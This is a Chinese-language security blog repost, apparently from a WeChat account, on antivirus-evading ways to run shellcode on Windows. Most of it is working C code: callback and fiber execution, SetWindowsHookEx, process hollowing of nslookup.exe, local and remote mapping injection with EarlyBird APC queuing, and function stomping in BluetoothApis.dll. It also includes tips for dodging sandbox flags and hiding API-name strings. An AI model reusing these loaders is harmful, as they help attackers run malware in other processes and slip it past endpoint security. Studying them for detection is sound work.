免杀-常见shellcode执行方式

admin 2025年2月23日01:03:35评论45 views字数 12421阅读41分24秒阅读模式

原文链接:https://xz.aliyun.com/news/16388


所有代码 https://github.com/Arcueld/ShellcodeExec

常见shellcode执行方式

如下是常见的shellcode执行 或内存分配方式

内联汇编 指针 APC注入 EarlyBird 纤程 基于资源 回调函数 进程镂空 TLS 线程劫持 SetWindowHookEx MappingInjection MappingInjection联动EarlyBird

回调函数

基于特定的WindowsAPI 如 EnumThreadWindows

更多的API可以在https://github.com/aahmad097/AlternativeShellcodeExec找到

API传入的其它参数 和是否成功调用 我们都不关心 只要加载shellcode即可

免杀-常见shellcode执行方式
DWORD dwOldProtection;    LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);    memcpy(lpMem, shellcode, sizeof(shellcode));    VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);    EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);

部分API可能需要前置条件 比如SymEnumProcesses

去MSDN查文档满足条件即可

免杀-常见shellcode执行方式
免杀-常见shellcode执行方式

注意 通过回调函数上线只能在本地进程 远程不行

纤程

纤程(fiber) 是用户态的线程 可以通过线程转换 所有纤程都是平等的 不存在主纤程的说法 任一纤程返回程序都将退出

通过ConvertThreadToFiber将当前线程转换为纤程

通过CreateFiber从该纤程中创建新线程 写入shellcode

SwitchToFiber 执行shellcode

免杀-常见shellcode执行方式
DWORD dwOldProtection;    LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);    memcpy(lpMem, shellcode, sizeof(shellcode));    VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);    ConvertThreadToFiber(NULL);    LPVOID lpFiber = CreateFiber(sizeof(shellcode), (LPFIBER_START_ROUTINE)lpMem, NULL);    SwitchToFiber(lpFiber);
免杀-常见shellcode执行方式

SetWindowHookEx

这里通过SetWindowHookEx挂钩当前进程主线程 WH_GETMESSAGE 监视发布到消息队列的消息

后续通过PeekMessage从消息队列中获取消息 触发钩子的函数(shellcode)

免杀-常见shellcode执行方式
DWORD dwOldProtection;LPVOID lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);memcpy(lpMem, shellcode, sizeof(shellcode));VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);HHOOK hhk = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)lpMem, NULL, GetCurrentThreadId());MSG msg;PostThreadMessage(GetCurrentThreadId(), WM_USER, 0, 0);PeekMessage(&msg, NULL, 0, 0, PM_REMOVE);UnhookWindowsHookEx(hhk);
免杀-常见shellcode执行方式

进程镂空

Process Hollowing

具体步骤如下

  1. 通过CreateProcess创建主线程挂起的进程
STARTUPINFO si = { sizeof(STARTUPINFO) };PROCESS_INFORMATION pi;CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"),NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
  1. GetThreadContext获取线程上下文 从PEB中读映像基址
PVOID RemoteImageBase;CONTEXT context;context.ContextFlags = CONTEXT_ALL;GetThreadContext(pi.hThread, &context);#ifdef _WIN64    ReadProcessMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);#endif#ifdef _X86_    ReadProcessMemory(pi.hProcess, (PVOID)(context.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);#endif
  1. 获取注入pe文件内容
char path[] = "C:\Windows\System32\calc.exe";hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);dwFileSize = GetFileSize(hFile, NULL); FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);CloseHandle(hFile);pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew);
  1. 镂空
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)    {        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase);     }
  1. 分配内存 写入pe文件
LPVOID lpMem = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);NtWriteVirtualMemory(pi.hProcess, lpMem, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++){    pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));    NtWriteVirtualMemory(pi.hProcess, (PVOID)((LPBYTE)lpMem + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);}DWORD oldProtect;VirtualProtectEx(pi.hProcess,lpMem,pNtHeaders->OptionalHeader.SizeOfImage,PAGE_EXECUTE_READWRITE,&oldProtect);
  1. 修改目标线程入口 并恢复线程
#ifdef _WIN64    context.Rcx = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);    NtWriteVirtualMemory(pi.hProcess, (PVOID)(context.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);#endif#ifdef _X86_    context.Eax = (SIZE_T)((LPBYTE)lpMem + pNtHeaders->OptionalHeader.AddressOfEntryPoint);    NtWriteVirtualMemory(pi.hProcess, (PVOID)(context.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);#endif    SetThreadContext(pi.hThread, &context);    ResumeThread(pi.hThread);
免杀-常见shellcode执行方式

映射注入

本地

通过CreateFileMapping 创建一个文件映射对象

通过MapViewOfFile 映射到内存

这两步类似VirtualAlloc 不过申请的内存类型是Mapped

然后执行shellcode 随便怎么执行 这里方便起见用回调

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);    LPVOID lpMem = MapViewOfFile(hMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));    memcpy(lpMem, shellcode, sizeof(shellcode));    EnumThreadWindows(NULL, (WNDENUMPROC)lpMem, NULL);
免杀-常见shellcode执行方式

远程

还是先创建文件映射对象 然后映射到内存 写入shellcode

额外的一步是通过MapViewOfFile2 将本地文件视图映射到远程进程

MapViewOfFile2 与 MapViewOfFile 共享文件映射句柄 所以任何对本地映射视图中的有效载荷的任何修改都会反映在远程进程的远程映射视图中的文件中

注意进程句柄必须有PROCESS_VM_OPERATION 权限 所以这里创建完进程后通过OpenProcess指定PROCESS_VM_OPERATION再拿进程句柄 pi.hProcess不行

方便起见这里用CreateRemoteThread 如果这里用EarlyBird的话就是MapViewOfFile联动EarlyBird

STARTUPINFO si = { sizeof(STARTUPINFO) };    PROCESS_INFORMATION pi;    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);    LPVOID lpMem = MapViewOfFile(hMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));    memcpy(lpMem, shellcode, sizeof(shellcode));    CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"), NULL, NULL, false, NULL, NULL, NULL, &si, &pi);    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, false, pi.dwProcessId);    LPVOID addr = MapViewOfFile2(hMapping, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);    printf("t[+] Remote Mapping Address : 0x%p n", addr);    CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
免杀-常见shellcode执行方式
免杀-常见shellcode执行方式

MapViewOfFile联动EarlyBird

和上面那个不同的点在于

创建主线程挂起的进程

CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

插入addr到APC队列

QueueUserAPC((PAPCFUNC)addr, pi.hThread, 0);

恢复主线程 触发APC

ResumeThread(pi.hThread);

STARTUPINFO si = { sizeof(STARTUPINFO) };    PROCESS_INFORMATION pi;    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);    LPVOID lpMem = MapViewOfFile(hMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));    memcpy(lpMem, shellcode, sizeof(shellcode));    CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION, false, pi.dwProcessId);    LPVOID addr = MapViewOfFile2(hMapping, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);    printf("t[+] Remote Mapping Address : 0x%p n", addr);    QueueUserAPC((PAPCFUNC)addr, pi.hThread, 0);    ResumeThread(pi.hThread);

值得注意的是调用NtMapViewOfSection 在微步中被标记为高危行为

Function Stomping Injection

本地

通过篡改函数 导致函数执行其它逻辑

首先是通过loadlibrary加载dll到内存 然后通过GetProcAddress检索地址

这里篡改的函数需要是非常用的 否则可能会出现问题 这里选择bthprops.cpl中的BluetoothFindDeviceClose

首先是获取地址

LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"bthprops.cpl"), "BluetoothFindDeviceClose");

修改内存权限为RWX 写入shellcode

免杀-常见shellcode执行方式
DWORD   dwOldProtection = NULL;VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);memcpy(sacrificedAddr, shellcode, sizeof(shellcode));VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
免杀-常见shellcode执行方式

然后执行即可 这种方式避免了通过VirtualAlloc申请内存

随便怎么执行都行 这里用指针

typedef void (*BluetoothFindDeviceClose)();
    BluetoothFindDeviceClose pFunc = (BluetoothFindDeviceClose)sacrificedAddr;
    pFunc();
免杀-常见shellcode执行方式

可以通过静态库来避免使用LoadLibrary 和 GetProcAddress

#include <bluetoothapis.h>#pragma comment (lib,"Bthprops.lib")....LPVOID sacrificedAddr = &BluetoothFindDeviceClose;DWORD   dwOldProtection = NULL;VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);memcpy(sacrificedAddr, shellcode, sizeof(shellcode));VirtualProtect(sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);typedef void (*BluetoothFindDeviceClose)();BluetoothFindDeviceClose pFunc = (BluetoothFindDeviceClose)sacrificedAddr;pFunc();
免杀-常见shellcode执行方式

远程

在远程进程中必须已经载入了对应dll

具体步骤如下

  1. 创建进程
STARTUPINFO si = { sizeof(STARTUPINFO) };PROCESS_INFORMATION pi;CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
  1. 申请内存写入dll路径
TCHAR* szDllPath = _wcsdup(L"bthprops.cpl");LPVOID lpDllPath = VirtualAllocEx(pi.hProcess, NULL, _tcslen(szDllPath) * sizeof(TCHAR) + sizeof(TCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);char str1[] = { 'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','�' };pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);NtWriteVirtualMemory(pi.hProcess, lpDllPath, szDllPath, _tcslen(szDllPath) * sizeof(TCHAR) + sizeof(TCHAR), NULL);
  1. 获取loadLibrary地址 创建远程线程调用loadLibrary加载指定dll到远程进程空间
LPVOID lpLoadLibrary = (LPVOID)GetProcAddress(LoadLibraryW(L"kernel32.dll"), "LoadLibraryW");CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpLoadLibrary, lpDllPath, NULL,NULL);ResumeThread(pi.hThread);
免杀-常见shellcode执行方式
  1. 修改内存属性 写入shellcode
LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"bthprops.cpl"), "BluetoothFindDeviceClose");DWORD   dwOldProtection = NULL;ULONG  byteWritten = NULL;    VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);    NtWriteVirtualMemory(pi.hProcess, sacrificedAddr, shellcode, sizeof(shellcode),&byteWritten);    VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);    HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sacrificedAddr, NULL, NULL, NULL);    WaitForSingleObject(hThread,-1);

你会发现这样并不行

两个进程间dll的地址是相同的 通过调试发现 问题出在选取的函数BluetoothFindDeviceClose

实际上是BluetoothApis.dll中的 代码里从bthprops.cpl找并找不到

前面的szDllPath换成BluetoothApis.dll就行了

免杀-常见shellcode执行方式
免杀-常见shellcode执行方式

完整代码

STARTUPINFO si = { sizeof(STARTUPINFO) };    PROCESS_INFORMATION pi;    TCHAR* szDllPath = _wcsdup(L"BluetoothApis.dll");    CreateProcess(NULL, _wcsdup(L"C:\Windows\System32\nslookup.exe"), NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);    LPVOID lpDllPath = VirtualAllocEx(pi.hProcess, NULL, _tcslen(szDllPath) * sizeof(TCHAR) + sizeof(TCHAR), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    char str1[] = { 'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','�' };    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), str1);    NtWriteVirtualMemory(pi.hProcess, lpDllPath, szDllPath, _tcslen(szDllPath) * sizeof(TCHAR) + sizeof(TCHAR), NULL);    LPVOID lpLoadLibrary = (LPVOID)GetProcAddress(LoadLibraryW(L"kernel32.dll"), "LoadLibraryW");    CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)lpLoadLibrary, lpDllPath, NULL,NULL);    ResumeThread(pi.hThread);    Sleep(50);    LPVOID sacrificedAddr = GetProcAddress(LoadLibrary(L"BluetoothApis.dll"), "BluetoothFindDeviceClose");    DWORD   dwOldProtection = NULL;    ULONG  byteWritten = NULL;    VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);    NtWriteVirtualMemory(pi.hProcess, sacrificedAddr, shellcode, sizeof(shellcode),&byteWritten);    VirtualProtectEx(pi.hProcess, sacrificedAddr, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);    HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sacrificedAddr, NULL, NULL, NULL);    WaitForSingleObject(hThread,-1);

参考

https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing

https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

https://blog.csdn.net/xf555er/article/details/130855421

https://github.com/m0n0ph1/Process-Hollowing/blob/master/sourcecode/ProcessHollowing/ProcessHollowing.cpp

https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations#relocating

https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/jin-cheng-lou-kong-zhu-ru-kui-lei-jin-cheng#id-2.-du-queyi-cheng-xu-de-nei-rong

原文始发于微信公众号(网安探索员):免杀-常见shellcode执行方式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月23日01:03:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀-常见shellcode执行方式https://cn-sec.com/archives/3770565.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息